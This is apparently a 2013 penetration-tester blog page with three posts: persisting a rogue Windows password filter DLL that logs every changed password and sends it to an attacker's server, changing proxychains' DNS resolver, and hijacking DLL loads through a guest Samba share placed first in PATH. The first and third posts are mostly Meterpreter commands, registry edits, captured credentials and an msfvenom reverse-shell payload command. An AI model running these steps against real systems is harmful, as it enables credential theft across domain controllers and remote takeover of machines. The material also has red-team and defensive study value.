Wednesday, September 11, 2013

Stealing passwords every time they change

Password Filters [0] are a way for organizations and governments to enforce stricter password requirements on Windows Accounts than those available by default in Active Directory Group Policy.  It is also fairly documented on how to Install and Register Password Filters [1]. Basically what it boils down to is updating a registry key here: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages

with the name of a DLL (without the extension) that you place in Windows\System32\

For National CCDC earlier this year (2013), I created an installer and "evil pass filter" that basically installed itself as a password filter and any time any passwords changed it would store the change to a log file locally to the victim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and password.

The full code can be found below. I'll leave the compiling up to you but basically its slamming the code in Visual Studio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet Open access settings that make the most sense for the environment you are using this in [2]).

So lets walk the exploitation:

First, you have to be admin or system, as this is more of a persistence method than anything.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Next, we upload the evilpassfilter.dll to Sytem32:
meterpreter > pwd
C:\Windows\system32
meterpreter > upload /tmp/evilpassfilter.dll .
[*] uploading  : /tmp/evilpassfilter.dll -> .
[*] uploaded   : /tmp/evilpassfilter.dll -> .\evilpassfilter.dll
Then we need to query what is already in the notification packages list:
meterpreter > reg queryval -k HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirassfm
What you can't see here since Metasploit isn't showing the line breaks is that there are two there by default:
scecli
rassfm
We need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly from the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it. Easiest way to do that is to add your "evilpassfilter" string as well as the ones on the victim to a VM you have and export it. Should look like this:

Once we have our file, we upload and import it using reg command:
meterpreter > upload importme.reg .
[*] uploading  : importme.reg -> .
[*] uploaded   : importme.reg -> .\importme.reg
meterpreter > execute -H -f regedit.exe -a '/s importme.reg'
Process 2628 created.
meterpreter > 
Double check our work:
meterpreter > reg queryval -k HKLM\\System\\CurrentcontrolSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirnrassfmrnevilpassfilter 
Its there, w00t! But it doesn't do anything until a reboot happens :(. Lets just force that to happen (not the most stealthy thing to do):
meterpreter > reboot
Rebooting...
While thats going on, lets set up the server to catch the basic auth.

msf exploit(psexec) > use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) > set URIPATH /
URIPATH => /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) >
[*] Listening on 0.0.0.0:80...
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.92.106:80/
[*] Server started.
msf auxiliary(http_basic) > 
Then we wait for a password to be changed:
msf auxiliary(http_basic) >
[*] 192.168.92.106   http_basic - Sending 401 to client
[+] 192.168.92.106 - Credential collected: "jack:ASDqwe123" => /
No matter how complex their password is and without having a shell on the box anymore:
msf auxiliary(http_basic) >
[+] 192.168.92.106 - Credential collected: "jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p" => /
This works from Windows 2000, XP all the way up to Windows 8 & 2012.

Ok, but how often are local password changed? Maybe not that often, but guess what happens when a password filter is put on a domain controller. Every password changed by that DC is "verified" by your evil password filter.

Oh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP you're getting your authentication to? (You would have to find a way to get back on that system, or make it available via a share or otherwise)
InitializeChangeNotify()
JackJohnson:ASDqwe123
JackJohnson:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p
This attack supports a larger character set than most banks ;-)

[0] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721882(v=vs.85).aspx
[1] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx
[2] http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx
Full code:

Tuesday, September 10, 2013

Changing proxychains' "hardcoded" DNS server

If you've ever used proxychains to push things through Meterpreter, one of the most annoying things is its "hardcoded" DNS setting for 4.2.2.2, if the org that you are going after doesn't allow this out of their network, or if you are trying to resolve an internal asset, you're SOL. After a ton of googling and annoyed head slams into walls every time I forget where this is I've finally decided to make a note of it.

There isn't much magic here other than knowing that this file exists, but /bin/proxyresolv is a bash script that calls "dig" using TCP and the DNS server specified so it goes through the proxychains. Here is what it looks like:
(on Kali linux its found here: /usr/lib/proxychains3/proxyresolv)

#!/bin/sh
# This script is called by proxychains to resolve DNS names
# DNS server used to resolve names
DNS_SERVER=4.2.2.2

if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv <hostname> "
exit
fi

export LD_PRELOAD=libproxychains.so.3
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'

Now you could just make the dig request yourself through proxychains then throw whatever you originally attended directly at an IP, or you can make the DNS_SERVER change and hardcode your engagement's internal IP, up to you, but now its documented and I'll never have to go searching like crazy again... as long as I remember that its on someone else's blog.

Wednesday, September 4, 2013

Finding Executable Hijacking Opportunities

Background



DLL Hijacking is nothing new and there are a number of ways to find the issue, but the best way I have found is a bit more forceful method using a network share. First we need a network share that we can 1. monitor every request failed or not, and 2. allow ANYONE to access that share because if there is a problem with a service that runs as SYSTEM its not going to have credentials to authenticate against a share with more constrained permissions.

Step 1: Set up Samba w/ guest access



In /etc/samba/smb.conf add these two shares. (You need to also create the directories in /tmp)
[share32]
comment = Shares
browseable = yes
path = /tmp/share32
guest ok = yes
create mask = 0777
read only = no

[share64]
comment = Shares
browseable = yes
path = /tmp/share64
guest ok = yes
create mask = 0777
read only = no

root@wpad:/tmp/share32/ # service samba restart
[ ok ] Stopping Samba daemons: nmbd smbd.
[ ok ] Starting Samba daemons: nmbd smbd.
Cool, we have a share. Next we need to override the PATH variable in our victim machine:


Step 2: Set PATH to share IP

The PATH environmental variable is what controls where things are "looked" for when being called if and when someone or some part of the OS attempts to run something without its full path. For example, you probably don't type C:\Windows\System32\calc.exe every time you want calc to pop up (ok, bad example since you probably just double click the shortcut, but you get the idea). Same on Linux actually as well, if someone types 'ls' the system does a quick check in all of the PATH directories for the 'ls' binary, stopping at the first instance it finds it. So below in the screen shot you can see me adding our share to the very beginning of the PATH variable using the ';' semicolon as a delimiter:



Step 3: Use wireshark (smb) mask to find STATUS_OBJECT_NAME_NOT_FOUND messages

Now we need to find a way to monitor the requests that are going to happen. I initially tried using just standard Samba logging turned all the way up to level 5. The problem was parsing and turn around. I found it easier to use wireshark



The screen shot shows how you can add the "File name" in the response and request packets to a column to make it easier to scroll through as the requests go by.

On a Windows 7 machine I have as a VM, when I reboot I get “oci.dll” as one of the DLLs that get requested:


Step 4: Generate payload

./msfvenom -p windows/meterpreter/reverse_tcp -f dll LHOST=192.168.92.123 LPORT=4444 > /tmp/share32/bob.dll

Step 5: Toss in the DLL with the right name.

cd /tmp/share32/
mv bob.dll oci.dll

Step 6: Get shell


System reboots..

Step 7: Next Steps

Ok, but that requires a reboot. What other hijacking can I do? Start some programs, services, open file types and just watch what is attempted to be loaded. If you see an EXE or DLL being requested to the share, rename your evil bin, and repeat whatever you did to cause the request.

This can result in persistence methods or sometimes privilege escalation, but be sure to test as much as possible, because if you override the loading of a critical DLL or executable, you may cause service disruption (anywhere from just a popup about a crash to a complete stall of the system).


Update: Eric G on Google+ mentioned that Mandiant has a post about what oci.dll is and how it was used in malware: https://www.mandiant.com/blog/hikit-rootkit-advanced-persistent-attack-techniques-part-1-2/